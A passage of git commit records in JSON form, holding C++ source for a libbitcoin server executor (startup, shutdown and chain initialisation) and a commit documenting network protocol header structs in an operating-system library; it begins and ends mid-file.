BS_INFORMATION_MESSAGE);\n    help.initialize();\n    help.commandline(output_);\n}\n\nvoid executor::do_settings()\n{\n    const auto settings = metadata_.load_settings();\n    printer print(settings, application_name, BS_SETTINGS_MESSAGE);\n    print.initialize();\n    print.settings(output_);\n}\n\nvoid executor::do_version()\n{\n    output_ << format(BS_VERSION_MESSAGE) %\n        LIBBITCOIN_SERVER_VERSION %\n        LIBBITCOIN_PROTOCOL_VERSION %\n        LIBBITCOIN_NODE_VERSION %\n        LIBBITCOIN_BLOCKCHAIN_VERSION %\n        LIBBITCOIN_SYSTEM_VERSION << std::endl;\n}\n\n\/\/ Emit to the log.\nbool executor::do_initchain()\n{\n    initialize_output();\n\n    error_code ec;\n    const auto& directory = metadata_.configured.database.directory;\n\n    if (create_directories(directory, ec))\n    {\n        LOG_INFO(LOG_SERVER) << format(BS_INITIALIZING_CHAIN) % directory;\n\n        const auto& bitcoin_settings = metadata_.configured.bitcoin;\n        const auto result = data_base(metadata_.configured.database,\n            metadata_.configured.chain.index_payments,\n            metadata_.configured.chain.bip158).create(\n                bitcoin_settings.genesis_block);\n\n        LOG_INFO(LOG_SERVER) << BS_INITCHAIN_COMPLETE;\n        return result;\n    }\n\n    if (ec.value() == directory_exists)\n    {\n        LOG_ERROR(LOG_SERVER) << format(BS_INITCHAIN_EXISTS) % directory;\n        return false;\n    }\n\n    LOG_ERROR(LOG_SERVER) << format(BS_INITCHAIN_NEW) % directory % ec.message();\n    return false;\n}\n\n\/\/ Menu selection.\n\/\/ ----------------------------------------------------------------------------\n\nbool executor::menu()\n{\n    const auto& config = metadata_.configured;\n\n    if (config.help)\n    {\n        do_help();\n        return true;\n    }\n\n    if (config.settings)\n    {\n        do_settings();\n        return true;\n    }\n\n    if (config.version)\n    {\n        do_version();\n        return true;\n    }\n\n    if (config.initchain)\n    {\n        return do_initchain();\n    }\n\n    \/\/ There are no command line arguments, just run the server.\n    return run();\n}\n\n\/\/ Run.\n\/\/ ----------------------------------------------------------------------------\n\nbool executor::run()\n{\n    initialize_output();\n\n    LOG_INFO(LOG_SERVER) << BS_NODE_STARTING;\n\n    if (!verify_directory())\n        return false;\n\n    \/\/ Now that the directory is verified we can create the node for it.\n    node_ = std::make_shared<server_node>(metadata_.configured);\n\n    \/\/ Initialize broadcast to statistics server if configured.\n    log::initialize_statsd(node_->thread_pool(),\n        metadata_.configured.network.statistics_server);\n\n    \/\/ The callback may be returned on the same thread.\n    node_->start(\n        std::bind(&executor::handle_started,\n            this, _1));\n\n    \/\/ Wait for stop.\n    stopping_.get_future().wait();\n\n    LOG_INFO(LOG_SERVER) << BS_NODE_STOPPING;\n\n    \/\/ Close must be called from main thread.\n    if (node_->close())\n        LOG_INFO(LOG_NODE) << BS_NODE_STOPPED;\n    else\n        LOG_INFO(LOG_NODE) << BS_NODE_STOP_FAIL;\n\n    return true;\n}\n\n\/\/ Handle the completion of the start sequence and begin the run sequence.\nvoid executor::handle_started(const code& ec)\n{\n    \/\/ TEMP: use to repro start\/stop deadlock race.\n    \/\/\/\/auto thread = std::thread([this]() { stop(error::service_stopped); });\n\n    if (ec)\n    {\n        LOG_ERROR(LOG_SERVER) << format(BS_NODE_START_FAIL) % ec.message();\n        stop(ec);\n        return;\n    }\n\n    LOG_INFO(LOG_SERVER) << BS_NODE_SEEDED;\n\n    \/\/ This is the beginning of the stop sequence.\n    node_->subscribe_stop(\n        std::bind(&executor::handle_stopped,\n            this, _1));\n\n    \/\/ This is the beginning of the run sequence.\n    node_->run(\n        std::bind(&executor::handle_running,\n            this, _1));\n\n    \/\/ TEMP: see above.\n    \/\/\/\/thread.join();\n}\n\n\/\/ This is the end of the run sequence.\nvoid executor::handle_running(const code& ec)\n{\n    if (ec)\n    {\n        LOG_INFO(LOG_SERVER) << format(BS_NODE_START_FAIL) % ec.message();\n        stop(ec);\n        return;\n    }\n\n    LOG_INFO(LOG_SERVER) << BS_NODE_STARTED;\n}\n\n\/\/ This is the end of the stop sequence.\nvoid executor::handle_stopped(const code& ec)\n{\n    stop(ec);\n}\n\n\/\/ Stop signal.\n\/\/ ----------------------------------------------------------------------------\n\nvoid executor::handle_stop(int code)\n{\n    \/\/ Reinitialize after each capture to prevent hard shutdown.\n    \/\/ Do not capture failure signals as calling stop can cause flush lock file\n    \/\/ to clear due to the aborted thread dropping the flush lock mutex.\n    std::signal(SIGINT, handle_stop);\n    std::signal(SIGTERM, handle_stop);\n\n    if (code == initialize_stop)\n        return;\n\n    LOG_INFO(LOG_SERVER) << format(BS_NODE_SIGNALED) % code;\n    stop(error::success);\n}\n\nvoid executor::stop(const code& ec)\n{\n    static std::once_flag stop_mutex;\n    std::call_once(stop_mutex, [&](){ stopping_.set_value(ec); });\n}\n\n\/\/ Utilities.\n\/\/ ----------------------------------------------------------------------------\n\n\/\/ Set up logging.\nvoid executor::initialize_output()\n{\n    const auto header = format(BS_LOG_HEADER) % local_time();\n    LOG_DEBUG(LOG_SERVER) << header;\n    LOG_INFO(LOG_SERVER) << header;\n    LOG_WARNING(LOG_SERVER) << header;\n    LOG_ERROR(LOG_SERVER) << header;\n    LOG_FATAL(LOG_SERVER) << header;\n\n    const auto& file = metadata_.configured.file;\n\n    if (file.empty())\n        LOG_INFO(LOG_SERVER) << BS_USING_DEFAULT_CONFIG;\n    else\n        LOG_INFO(LOG_SERVER) << format(BS_USING_CONFIG_FILE) % file;\n}\n\n\/\/ Use missing directory as a sentinel indicating lack of initialization.\nbool executor::verify_directory()\n{\n    error_code ec;\n    const auto& directory = metadata_.configured.database.directory;\n\n    if (exists(directory, ec))\n        return true;\n\n    if (ec.value() == directory_not_found)\n    {\n        LOG_ERROR(LOG_SERVER) << format(BS_UNINITIALIZED_CHAIN) % directory;\n        return false;\n    }\n\n    const auto message = ec.message();\n    LOG_ERROR(LOG_SERVER) << format(BS_INITCHAIN_TRY) % directory % message;\n    return false;\n}\n\n} \/\/ namespace server\n} \/\/ namespace libbitcoin\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013-2016.\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/www.opensource.org\/licenses\/MIT) \/\/=======================================================================\n\n#ifndef TLIB_NET_CONSTANTS_H\n#define TLIB_NET_CONSTANTS_H\n\n#include <types.hpp>\n\n#include \"tlib\/config.hpp\"\n\nTHOR_NAMESPACE(tlib, network) {\n\nnamespace ip {\n\nstruct address {\n    uint32_t raw_address = 0;\n\n    address(){}\n    address(uint32_t raw) : raw_address(raw) {}\n\n    uint8_t operator()(size_t index) const {\n        return (raw_address >> ((3 - index) * 8)) & 0xFF;\n    }\n\n    void set_sub(size_t index, uint8_t value){\n        raw_address |= uint32_t(value) << ((3 - index) * 8);\n    }\n\n    bool operator==(const address& rhs) const {\n        return this->raw_address == rhs.raw_address;\n    }\n};\n\ninline address make_address(uint8_t a, uint8_t b, uint8_t c, uint8_t d){\n    address addr;\n    addr.set_sub(0, a);\n    addr.set_sub(1, b);\n    addr.set_sub(2, c);\n    addr.set_sub(3, d);\n    return addr;\n}\n\nstruct header {\n    uint8_t version_ihl;\n    uint8_t dscp_ecn;\n    uint16_t total_len;\n    uint16_t identification;\n    uint16_t flags_offset;\n    uint8_t ttl;\n    uint8_t protocol;\n    uint16_t header_checksum;\n    uint32_t source_ip;\n    uint32_t target_ip;\n} __attribute__((packed));\n\nstruct packet_descriptor {\n    size_t size;\n    address destination;\n    size_t protocol;\n};\n\n} \/\/ end of namespace ip\n\nstruct inet_address {\n    ip::address address;\n    size_t port;\n};\n\nnamespace ethernet {\n\nstruct address {\n    char mac[6];\n} __attribute__((packed));\n\nstruct header {\n    address target;\n    address source;\n    uint16_t type;\n} __attribute__((packed));\n\nenum class ether_type {\n    IPV4,\n    IPV6,\n    ARP,\n    UNKNOWN\n};\n\nstruct packet_descriptor {\n    size_t size;\n    size_t destination;\n    ether_type type;\n};\n\n} \/\/ end of namespace ethernet\n\nnamespace icmp {\n\nenum class type : uint8_t {\n    ECHO_REPLY = 0,\n    UNREACHABLE = 3,\n    SOURCE_QUENCH = 4,\n    REDICT = 5,\n    ECHO_REQUEST = 8,\n    ROUTER_ADVERTISEMENT = 9,\n    ROUTER_SOLICITATION = 10,\n    TIME_EXCEEDED = 11,\n    PARAMETER_PROBLEM = 12,\n    TIMESTAMP = 13,\n    TIMESTAMP_REPLY = 14,\n    INFORMATION_REQUEST = 15,\n    INFORMATION_REPLY = 16,\n    ADDRESS_MASK_REQUEST = 17,\n    ADDRESS_MASK_REPLY = 18,\n    TRACEROUTE = 30\n};\n\nstruct header {\n    uint8_t type;\n    uint8_t code;\n    uint16_t checksum;\n    uint32_t rest; \/\/\/< Depends on the type of packet type\n} __attribute__((packed));\n\nstruct echo_request_header {\n    uint16_t identifier;\n    uint16_t sequence;\n} __attribute__((packed));\n\nstruct packet_descriptor {\n    size_t payload_size;\n    ip::address target_ip;\n    icmp::type type;\n    size_t code;\n};\n\n} \/\/ end of namespace icmp\n\nnamespace http {\n\nstruct packet_descriptor {\n    size_t payload_size;\n    ip::address target_ip;\n};\n\n} \/\/ end of http namespace\n\nnamespace dns {\n\nstruct header {\n    uint16_t identification;\n    uint16_t flags;\n    uint16_t questions;\n    uint16_t answers;\n    uint16_t authority_rrs;\n    uint16_t additional_rrs;\n} __attribute__((packed));\n\nstruct packet_descriptor {\n    size_t payload_size;\n    uint16_t identification;\n    bool query;\n};\n\n} \/\/ end of dns namespace\n\nnamespace udp {\n\nstruct packet_descriptor {\n    size_t payload_size;\n};\n\n} \/\/ end of udp namespace\n\nnamespace tcp {\n\nstruct header {\n    uint16_t source_port;\n    uint16_t target_port;\n    uint32_t sequence_number;\n    uint32_t ack_number;\n    uint16_t flags;\n    uint16_t window_size;\n    uint16_t checksum;\n    uint16_t urgent_pointer;\n} __attribute__((packed));\n\nstruct packet_descriptor {\n    size_t payload_size;\n};\n\n} \/\/ end of tcp namespace\n\nenum class socket_domain : size_t {\n    AF_INET\n};\n\nenum class socket_type : size_t {\n    RAW,\n    DGRAM,\n    STREAM\n};\n\nenum class socket_protocol : size_t {\n    ICMP,\n    DNS,\n    TCP,\n    UDP\n};\n\n} \/\/ end of network namespace\n\n#endif\n<commit_msg>Document the network headers<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013-2016.\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/www.opensource.org\/licenses\/MIT) \/\/=======================================================================\n\n#ifndef TLIB_NET_CONSTANTS_H\n#define TLIB_NET_CONSTANTS_H\n\n#include <types.hpp>\n\n#include \"tlib\/config.hpp\"\n\nTHOR_NAMESPACE(tlib, network) {\n\nnamespace ip {\n\n\/*!\n * \\brief An IP Addres helper\n *\/\nstruct address {\n    uint32_t raw_address = 0;\n\n    address(){}\n    address(uint32_t raw) : raw_address(raw) {}\n\n    uint8_t operator()(size_t index) const {\n        return (raw_address >> ((3 - index) * 8)) & 0xFF;\n    }\n\n    void set_sub(size_t index, uint8_t value){\n        raw_address |= uint32_t(value) << ((3 - index) * 8);\n    }\n\n    bool operator==(const address& rhs) const {\n        return this->raw_address == rhs.raw_address;\n    }\n};\n\ninline address make_address(uint8_t a, uint8_t b, uint8_t c, uint8_t d){\n    address addr;\n    addr.set_sub(0, a);\n    addr.set_sub(1, b);\n    addr.set_sub(2, c);\n    addr.set_sub(3, d);\n    return addr;\n}\n\n\/*!\n * \\brief The header of an IP packet\n *\/\nstruct header {\n    uint8_t version_ihl; \/\/\/< The version and header length\n    uint8_t dscp_ecn;\n    uint16_t total_len; \/\/\/< The total length of the packet\n    uint16_t identification; \/\/\/< The identification of the packet\n    uint16_t flags_offset; \/\/\/< The flags and data offset\n    uint8_t ttl; \/\/\/< The time to live of the packet\n    uint8_t protocol; \/\/\/< The protocol used\n    uint16_t header_checksum; \/\/\/< The checksum\n    uint32_t source_ip; \/\/\/< The source IP address\n    uint32_t target_ip; \/\/\/< The target IP address\n} __attribute__((packed));\n\nstruct packet_descriptor {\n    size_t size;\n    address destination;\n    size_t protocol;\n};\n\n} \/\/ end of namespace ip\n\nstruct inet_address {\n    ip::address address;\n    size_t port;\n};\n\nnamespace ethernet {\n\nstruct address {\n    char mac[6];\n} __attribute__((packed));\n\n\/*!\n * \\brief The header of an ethernet packet\n *\/\nstruct header {\n    address target; \/\/\/< The target MAC address\n    address source; \/\/\/< The source MAC address\n    uint16_t type; \/\/\/< The type of packet (the child layer)\n} __attribute__((packed));\n\nenum class ether_type {\n    IPV4,\n    IPV6,\n    ARP,\n    UNKNOWN\n};\n\nstruct packet_descriptor {\n    size_t size;\n    size_t destination;\n    ether_type type;\n};\n\n} \/\/ end of namespace ethernet\n\nnamespace icmp {\n\nenum class type : uint8_t {\n    ECHO_REPLY = 0,\n    UNREACHABLE = 3,\n    SOURCE_QUENCH = 4,\n    REDICT = 5,\n    ECHO_REQUEST = 8,\n    ROUTER_ADVERTISEMENT = 9,\n    ROUTER_SOLICITATION = 10,\n    TIME_EXCEEDED = 11,\n    PARAMETER_PROBLEM = 12,\n    TIMESTAMP = 13,\n    TIMESTAMP_REPLY = 14,\n    INFORMATION_REQUEST = 15,\n    INFORMATION_REPLY = 16,\n    ADDRESS_MASK_REQUEST = 17,\n    ADDRESS_MASK_REPLY = 18,\n    TRACEROUTE = 30\n};\n\n\/*!\n * \\brief The header of an ICMP packet\n *\/\nstruct header {\n    uint8_t type; \/\/\/< The type of message\n    uint8_t code; \/\/\/< The code of the transmission (sub-type)\n    uint16_t checksum; \/\/\/< The checksum\n    uint32_t rest; \/\/\/< Depends on the type of packet type\n} __attribute__((packed));\n\n\/*!\n * \\brief The rest header of an ICMP request packet\n *\/\nstruct echo_request_header {\n    uint16_t identifier; \/\/\/< The identifier\n    uint16_t sequence;   \/\/\/< The sequence number\n} __attribute__((packed));\n\nstruct packet_descriptor {\n    size_t payload_size;\n    ip::address target_ip;\n    icmp::type type;\n    size_t code;\n};\n\n} \/\/ end of namespace icmp\n\nnamespace http {\n\nstruct packet_descriptor {\n    size_t payload_size;\n    ip::address target_ip;\n};\n\n} \/\/ end of http namespace\n\nnamespace dns {\n\n\/*!\n * \\brief The header of a DNS packet\n *\/\nstruct header {\n    uint16_t identification; \/\/\/< The identification of the query\n    uint16_t flags; \/\/\/< The flags\n    uint16_t questions; \/\/\/< The number of questions\n    uint16_t answers; \/\/\/< The number of answers\n    uint16_t authority_rrs; \/\/\/< The number of authorithy Records\n    uint16_t additional_rrs; \/\/\/< The number of additional Records\n} __attribute__((packed));\n\nstruct packet_descriptor {\n    size_t payload_size;\n    uint16_t identification;\n    bool query;\n};\n\n} \/\/ end of dns namespace\n\nnamespace udp {\n\nstruct packet_descriptor {\n    size_t payload_size;\n};\n\n} \/\/ end of udp namespace\n\nnamespace tcp {\n\n\/*!\n * \\brief The header of a TCP packet\n *\/\nstruct header {\n    uint16_t source_port; \/\/\/< The TCP source port\n    uint16_t target_port; \/\/\/< The TCP target port\n    uint32_t sequence_number; \/\/\/< The sequence number\n    uint32_t ack_number; \/\/\/< The acknowledge number\n    uint16_t flags; \/\/\/< The flags\n    uint16_t window_size; \/\/\/< The size of the receiving window\n    uint16_t checksum; \/\/\/< The checksum\n    uint16_t urgent_pointer; \/\/\/< Indicates if the packet is urgent\n} __attribute__((packed));\n\nstruct packet_descriptor {\n    size_t payload_size;\n};\n\n} \/\/ end of tcp namespace\n\nenum class socket_domain : size_t {\n    AF_INET\n};\n\nenum class socket_type : size_t {\n    RAW,\n    DGRAM,\n    STREAM\n};\n\nenum class socket_protocol : size_t {\n    ICMP,\n    DNS,\n    TCP,\n    UDP\n};\n\n} \/\/ end of network namespace\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2011-2015 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin-server.\n *\n * libbitcoin-server is free software: you can redistribute it and\/or\n * modify it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"executor.hpp\"\n\n#include <chrono>\n#include <csignal>\n#include <functional>\n#include <future>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <thread>\n#include <boost\/format.hpp>\n#include <bitcoin\/server.hpp>\n\nnamespace libbitcoin {\nnamespace server {\n    \nusing boost::format;\nusing std::placeholders::_1;\nusing std::placeholders::_2;\nusing namespace boost::system;\nusing namespace bc::blockchain;\nusing namespace bc::config;\nusing namespace bc::database;\nusing namespace bc::network;\n\nstatic constexpr int no_interrupt = 0;\nstatic constexpr int directory_exists = 0;\nstatic constexpr int directory_not_found = 2;\nstatic constexpr auto append = std::ofstream::out | std::ofstream::app;\n\nstatic const auto application_name = \"bn\";\nstatic const auto stop_sensitivity = std::chrono::milliseconds(10);\n\n\/\/ Class and method names must match protocol expectations (do not change).\n#define ATTACH(worker, class_name, method_name, instance) \\\n    worker->attach(#class_name \".\" #method_name, \\\n        std::bind(&class_name::method_name, \\\n            instance, _1, _2));\n\n\/\/ Static interrupt state (unavoidable).\nstatic auto stopped_ = false;\n\n\/\/ Static handler for catching termination signals.\nstatic void initialize_interrupt(int code)\n{\n    \/\/ Reinitialize after each capture.\n    signal(SIGINT, initialize_interrupt);\n    signal(SIGTERM, initialize_interrupt);\n    signal(SIGABRT, initialize_interrupt);\n\n    \/\/ The no_interrupt sentinel is used for first initialization.\n    if (code == no_interrupt)\n    {\n        log::info(LOG_NODE) << BS_NODE_INTERRUPT;\n        return;\n    }\n\n    \/\/ Signal the service to stop if not already signaled.\n    if (!stopped_)\n    {\n        log::info(LOG_NODE) << format(BS_NODE_STOPPING) % code;\n        stopped_ = true;\n    }\n}\n\nexecutor::executor(parser& metadata, std::istream& input,\n    std::ostream& output, std::ostream& error)\n  : metadata_(metadata), output_(output),\n    debug_file_(metadata_.configured.network.debug_file.string(), append),\n    error_file_(metadata_.configured.network.error_file.string(), append)\n{\n    initialize_logging(debug_file_, error_file_, output, error);\n}\n\nvoid executor::initialize_output()\n{\n    log::debug(LOG_NODE) << BS_LOG_HEADER;\n    log::info(LOG_NODE) << BS_LOG_HEADER;\n    log::warning(LOG_NODE) << BS_LOG_HEADER;\n    log::error(LOG_NODE) << BS_LOG_HEADER;\n    log::fatal(LOG_NODE) << BS_LOG_HEADER;\n\n    const auto& file = metadata_.configured.file;\n\n    if (file.empty())\n        log::info(LOG_NODE) << BS_USING_DEFAULT_CONFIG;\n    else\n        log::info(LOG_NODE) << format(BS_USING_CONFIG_FILE) % file;\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Server API bindings.\n\n\/\/ Class and method names must match protocol expectations (do not change).\nvoid executor::attach_subscription_api()\n{\n    ATTACH(receive_, address, renew, notify_);\n    ATTACH(receive_, address, subscribe, notify_);\n}\n\n\/\/ Class and method names must match protocol expectations (do not change).\nvoid executor::attach_query_api()\n{\n    ATTACH(receive_, address, fetch_history2, node_);\n    ATTACH(receive_, blockchain, fetch_history, node_);\n    ATTACH(receive_, blockchain, fetch_transaction, node_);\n    ATTACH(receive_, blockchain, fetch_last_height, node_);\n    ATTACH(receive_, blockchain, fetch_block_header, node_);\n    ATTACH(receive_, blockchain, fetch_block_transaction_hashes, node_);\n    ATTACH(receive_, blockchain, fetch_transaction_index, node_);\n    ATTACH(receive_, blockchain, fetch_spend, node_);\n    ATTACH(receive_, blockchain, fetch_block_height, node_);\n    ATTACH(receive_, blockchain, fetch_stealth, node_);\n    ATTACH(receive_, transaction_pool, validate, node_);\n    ATTACH(receive_, transaction_pool, fetch_transaction, node_);\n    ATTACH(receive_, protocol, total_connections, node_);\n    ATTACH(receive_, protocol, broadcast_transaction, node_);\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Command line options.\n\/\/ Emit directly to standard output (not the log).\n\nvoid executor::do_help()\n{\n    const auto options = metadata_.load_options();\n    printer help(options, application_name, BS_INFORMATION_MESSAGE);\n    help.initialize();\n    help.commandline(output_);\n}\n\nvoid executor::do_settings()\n{\n    const auto settings = metadata_.load_settings();\n    printer print(settings, application_name, BS_SETTINGS_MESSAGE);\n    print.initialize();\n    print.settings(output_);\n}\n\nvoid executor::do_version()\n{\n    output_ << format(BS_VERSION_MESSAGE) %\n        LIBBITCOIN_SERVER_VERSION %\n        LIBBITCOIN_NODE_VERSION %\n        LIBBITCOIN_BLOCKCHAIN_VERSION %\n        LIBBITCOIN_VERSION << std::endl;\n}\n\n\/\/ Emit to the logs.\nbool executor::do_initchain()\n{\n    initialize_output();\n\n    error_code ec;\n    const auto& directory = metadata_.configured.database.directory;\n\n    if (create_directories(directory, ec))\n    {\n        log::info(LOG_NODE) << format(BS_INITIALIZING_CHAIN) % directory;\n\n        \/\/ Unfortunately we are still limited to a choice of hardcoded chains.\n        const auto genesis = metadata_.configured.chain.use_testnet_rules ?\n            chain::block::genesis_testnet() : chain::block::genesis_mainnet();\n\n        return data_base::initialize(directory, genesis);\n    }\n\n    if (ec.value() == directory_exists)\n    {\n        log::error(LOG_NODE) << format(BS_INITCHAIN_EXISTS) % directory;\n        return false;\n    }\n\n    log::error(LOG_NODE) << format(BS_INITCHAIN_NEW) % directory % ec.message();\n    return false;\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Invoke an action based on command line option.\n\nbool executor::invoke()\n{\n    const auto& config = metadata_.configured;\n\n    if (config.help)\n    {\n        do_help();\n        return true;\n    }\n\n    if (config.settings)\n    {\n        do_settings();\n        return true;\n    }\n\n    if (config.version)\n    {\n        do_version();\n        return true;\n    }\n\n    if (config.initchain)\n    {\n        return do_initchain();\n    }\n\n    \/\/ There are no command line arguments, just run the node.\n    return run();\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Run sequence.\n\nbool executor::run()\n{\n    initialize_output();\n    initialize_interrupt(no_interrupt);\n\n    log::info(LOG_NODE) << BS_NODE_STARTING;\n\n    \/\/ Ensure the blockchain directory is initialized (at least exists).\n    if (!verify())\n        return false;\n\n    \/\/ Now that the directory is verified we can create the node for it.\n    node_ = std::make_shared<server_node>(metadata_.configured);\n\n    \/\/ Start seeding the node, stop handlers are registered in start.\n    node_->start(\n        std::bind(&executor::handle_seeded,\n            shared_from_this(), _1));\n\n    log::info(LOG_NODE) << BS_NODE_STARTED;\n\n    \/\/ Block until the node is stopped or there is an interrupt.\n    return wait_on_stop();\n}\n\nvoid executor::handle_seeded(const code& ec)\n{\n    if (ec)\n    {\n        log::error(LOG_NODE) << format(BS_NODE_START_FAIL) % ec.message();\n        stopped_ = true;\n        return;\n    }\n\n    node_->run(\n        std::bind(&executor::handle_synchronized,\n            shared_from_this(), _1));\n\n    log::info(LOG_NODE) << BS_NODE_SEEDED;\n}\n\nvoid executor::handle_synchronized(const code& ec)\n{\n    if (ec)\n    {\n        log::info(LOG_NODE) << format(BS_NODE_START_FAIL) % ec.message();\n        stopped_ = true;\n        return;\n    }\n\n    log::info(LOG_NODE) << BS_NODE_SYNCHRONIZED;\n\n    notify_ = std::make_shared<notifier>(node_);\n    receive_ = std::make_shared<receiver>(node_);\n    publish_ = std::make_shared<publisher>(node_);\n\n    \/\/ Start server services on top of the node, these log internally.\n    if (!publish_->start() || !receive_->start() || !notify_->start())\n    {\n        stopped_ = true;\n        return;\n    }\n\n    const auto& settings = metadata_.configured.server;\n\n    if (settings.queries_enabled)\n        attach_query_api();\n\n    if (settings.subscription_limit > 0)\n        attach_subscription_api();\n}\n\n\/\/ Use missing directory as a sentinel indicating lack of initialization.\nbool executor::verify()\n{\n    error_code ec;\n    const auto& directory = metadata_.configured.database.directory;\n\n    if (exists(directory, ec))\n        return true;\n\n    if (ec.value() == directory_not_found)\n    {\n        log::error(LOG_NODE) << format(BS_UNINITIALIZED_CHAIN) % directory;\n        return false;\n    }\n\n    const auto message = ec.message();\n    log::error(LOG_NODE) << format(BS_INITCHAIN_TRY) % directory % message;\n    return false;\n}\n\nbool executor::wait_on_stop()\n{\n    std::promise<code> promise;\n\n    \/\/ Monitor stopped for completion.\n    monitor_stop(\n        std::bind(&executor::handle_stopped,\n            shared_from_this(), _1, std::ref(promise)));\n\n    \/\/ Block until the stop handler is invoked.\n    const auto ec = promise.get_future().get();\n\n    if (ec)\n    {\n        log::error(LOG_NODE) << format(BS_NODE_STOP_FAIL) % ec.message();\n        return false;\n    }\n\n    log::info(LOG_NODE) << BS_NODE_STOPPED;\n    return true;\n}\n\nvoid executor::handle_stopped(const code& ec, std::promise<code>& promise)\n{\n    promise.set_value(ec);\n}\n\nvoid executor::monitor_stop(p2p::result_handler handler)\n{\n    while (!stopped_ && !node_->stopped())\n        std::this_thread::sleep_for(stop_sensitivity);\n\n    log::info(LOG_NODE) << BS_NODE_UNMAPPING;\n    node_->stop(handler);\n    node_->close();\n\n    \/\/ This is the end of the run sequence.\n    node_ = nullptr;\n}\n\n} \/\/ namespace server\n} \/\/ namespace libbitcoin\n<commit_msg>Add missing include.<commit_after>\/**\n * Copyright (c) 2011-2015 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin-server.\n *\n * libbitcoin-server is free software: you can redistribute it and\/or\n * modify it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"executor.hpp\"\n\n#include <chrono>\n#include <csignal>\n#include <functional>\n#include <future>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <thread>\n#include <boost\/filesystem.hpp>\n#include <boost\/format.hpp>\n#include <bitcoin\/server.hpp>\n\nnamespace libbitcoin {\nnamespace server {\n    \nusing boost::format;\nusing std::placeholders::_1;\nusing std::placeholders::_2;\nusing namespace boost::system;\nusing namespace bc::blockchain;\nusing namespace bc::config;\nusing namespace bc::database;\nusing namespace bc::network;\n\nstatic constexpr int no_interrupt = 0;\nstatic constexpr int directory_exists = 0;\nstatic constexpr int directory_not_found = 2;\nstatic constexpr auto append = std::ofstream::out | std::ofstream::app;\n\nstatic const auto application_name = \"bn\";\nstatic const auto stop_sensitivity = std::chrono::milliseconds(10);\n\n\/\/ Class and method names must match protocol expectations (do not change).\n#define ATTACH(worker, class_name, method_name, instance) \\\n    worker->attach(#class_name \".\" #method_name, \\\n        std::bind(&class_name::method_name, \\\n            instance, _1, _2));\n\n\/\/ Static interrupt state (unavoidable).\nstatic auto stopped_ = false;\n\n\/\/ Static handler for catching termination signals.\nstatic void initialize_interrupt(int code)\n{\n    \/\/ Reinitialize after each capture.\n    signal(SIGINT, initialize_interrupt);\n    signal(SIGTERM, initialize_interrupt);\n    signal(SIGABRT, initialize_interrupt);\n\n    \/\/ The no_interrupt sentinel is used for first initialization.\n    if (code == no_interrupt)\n    {\n        log::info(LOG_NODE) << BS_NODE_INTERRUPT;\n        return;\n    }\n\n    \/\/ Signal the service to stop if not already signaled.\n    if (!stopped_)\n    {\n        log::info(LOG_NODE) << format(BS_NODE_STOPPING) % code;\n        stopped_ = true;\n    }\n}\n\nexecutor::executor(parser& metadata, std::istream& input,\n    std::ostream& output, std::ostream& error)\n  : metadata_(metadata), output_(output),\n    debug_file_(metadata_.configured.network.debug_file.string(), append),\n    error_file_(metadata_.configured.network.error_file.string(), append)\n{\n    initialize_logging(debug_file_, error_file_, output, error);\n}\n\nvoid executor::initialize_output()\n{\n    log::debug(LOG_NODE) << BS_LOG_HEADER;\n    log::info(LOG_NODE) << BS_LOG_HEADER;\n    log::warning(LOG_NODE) << BS_LOG_HEADER;\n    log::error(LOG_NODE) << BS_LOG_HEADER;\n    log::fatal(LOG_NODE) << BS_LOG_HEADER;\n\n    const auto& file = metadata_.configured.file;\n\n    if (file.empty())\n        log::info(LOG_NODE) << BS_USING_DEFAULT_CONFIG;\n    else\n        log::info(LOG_NODE) << format(BS_USING_CONFIG_FILE) % file;\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Server API bindings.\n\n\/\/ Class and method names must match protocol expectations (do not change).\nvoid executor::attach_subscription_api()\n{\n    ATTACH(receive_, address, renew, notify_);\n    ATTACH(receive_, address, subscribe, notify_);\n}\n\n\/\/ Class and method names must match protocol expectations (do not change).\nvoid executor::attach_query_api()\n{\n    ATTACH(receive_, address, fetch_history2, node_);\n    ATTACH(receive_, blockchain, fetch_history, node_);\n    ATTACH(receive_, blockchain, fetch_transaction, node_);\n    ATTACH(receive_, blockchain, fetch_last_height, node_);\n    ATTACH(receive_, blockchain, fetch_block_header, node_);\n    ATTACH(receive_, blockchain, fetch_block_transaction_hashes, node_);\n    ATTACH(receive_, blockchain, fetch_transaction_index, node_);\n    ATTACH(receive_, blockchain, fetch_spend, node_);\n    ATTACH(receive_, blockchain, fetch_block_height, node_);\n    ATTACH(receive_, blockchain, fetch_stealth, node_);\n    ATTACH(receive_, transaction_pool, validate, node_);\n    ATTACH(receive_, transaction_pool, fetch_transaction, node_);\n    ATTACH(receive_, protocol, total_connections, node_);\n    ATTACH(receive_, 